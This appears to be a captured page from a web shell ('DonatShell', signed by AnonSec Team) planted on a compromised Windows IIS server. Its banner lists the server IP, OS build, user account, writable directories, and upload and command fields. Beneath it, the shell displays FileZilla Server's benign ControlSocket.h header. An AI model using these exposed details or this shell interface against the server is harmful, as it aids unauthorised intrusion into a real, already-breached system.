DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/FileZilla Server/source/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/FileZilla Server/source/ControlSocket.h
// FileZilla Server - a Windows ftp server

// Copyright (C) 2002-2004 - Tim Kosse <tim.kosse@gmx.de>

// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.

// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

#if !defined(AFX_CONTROLSOCKET_H__17DD46FD_8A4A_4394_9F90_C14BA65F6BF6__INCLUDED_)
#define AFX_CONTROLSOCKET_H__17DD46FD_8A4A_4394_9F90_C14BA65F6BF6__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// ControlSocket.h : Header-Datei
//

#include "hash_thread.h"

class CAsyncGssSocketLayer;
class CAsyncSslSocketLayer;
class CTransferSocket;

#ifndef TRANSFERMODE_NOTSET
#define TRANSFERMODE_NOTSET 0
#endif

/////////////////////////////////////////////////////////////////////////////
// Befehlsziel CControlSocket

class CControlSocket : public CAsyncSocketEx
{
// Attribute
public:

// Operationen
public:
	CControlSocket(CServerThread *pOwner);
	virtual ~CControlSocket();

// Überschreibungen
public:
	CServerThread * m_pOwner;
	CStdString m_RemoteIP;
	void WaitGoOffline(bool wait = true);
	BOOL m_bWaitGoOffline;
	void CheckForTimeout();
	void ForceClose(int nReason);
	CTransferSocket* GetTransferSocket();
	void ProcessTransferMsg();
	void ParseCommand();
	int m_userid;
	BOOL Send(LPCTSTR str, bool sendStatus = true);
	void SendStatus(LPCTSTR status,int type);
	BOOL GetCommand(CStdString &command, CStdString &args);
	bool InitImplicitSsl();

	virtual void OnReceive(int nErrorCode);
	virtual void OnClose(int nErrorCode);
	virtual void OnSend(int nErrorCode);
	void AntiHammerIncrease(int amount = 1);

	void Continue();

	void ProcessHashResult(int hash_id, int res, CHashThread::_algorithm alg, const CStdString& hash, const CStdString& file);

// Implementierung
protected:
	BOOL DoUserLogin(LPCTSTR password, bool skipPass = false);
	BOOL UnquoteArgs(CStdString &args);
	static int GetUserCount(const CStdString &user);
	static void IncUserCount(const CStdString &user);
	static void DecUserCount(const CStdString &user);
	void ResetTransferstatus();
	BOOL CreateTransferSocket(CTransferSocket *pTransferSocket);
	bool CheckIpForZlib();
	void SendTransferinfoNotification(const char transfermode = TRANSFERMODE_NOTSET, const CStdString& physicalFile = "", const CStdString& logicalFile = "", __int64 startOffset = 0, __int64 totalSize = -1);
	bool CanQuit();
	CStdString GetPassiveIP();

	virtual int OnLayerCallback(std::list<t_callbackMsg>& callbacks);

	CAsyncGssSocketLayer *m_pGssLayer;
	CAsyncSslSocketLayer *m_pSslLayer;

	std::list<CStdStringA> m_RecvLineBuffer;
	char m_RecvBuffer[2048];
	int m_nRecvBufferPos;
	char *m_pSendBuffer;
	int m_nSendBufferLen;

	int m_nTelnetSkip;
	BOOL m_bQuitCommand;
	SYSTEMTIME m_LastCmdTime, m_LastTransferTime, m_LoginTime;
	static std::map<CStdString, int> m_UserCount;
	CStdString m_CurrentServerDir;
	static CCriticalSectionWrapper m_Sync;
	struct t_status
	{
		BOOL loggedon;
		CStdString user;
		CStdString ip;

		int hammerValue;
	} m_status;
	struct t_transferstatus
	{
		int pasv;
		_int64 rest;
		int type;
		CStdString ip;
		int port;
		CTransferSocket *socket;
		bool usedResolvedIP;
		int family;
	} m_transferstatus;

	CStdString RenName;
	BOOL bRenFile;

	enum TransferMode
	{
		mode_stream,
		mode_zlib
	};

	TransferMode m_transferMode;
	int m_zlibLevel;

	int m_antiHammeringWaitTime;

	bool m_bProtP;

	bool m_useUTF8; // Enabled by default, can be turned off using
					// OPTS UF8 OFF

	void ParseMlstOpts(CStdString args);
	void ParseHashOpts(CStdString args);

	// Enabled MLST facts
	bool m_facts[4];

	bool m_shutdown;

	int m_hash_id;
	
	enum CHashThread::_algorithm m_hash_algorithm;

public:
	int GetSpeedLimit(enum sltype);

	typedef struct {
		bool bContinue;
		int nBytesAllowedToTransfer;
		int nTransferred;
		bool bBypassed;
	} t_Quota;
	t_Quota m_SlQuotas[2];
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ fügt unmittelbar vor der vorhergehenden Zeile zusätzliche Deklarationen ein.

#endif // AFX_CONTROLSOCKET_H__17DD46FD_8A4A_4394_9F90_C14BA65F6BF6__INCLUDED_

Anon7 - 2022
AnonSec Team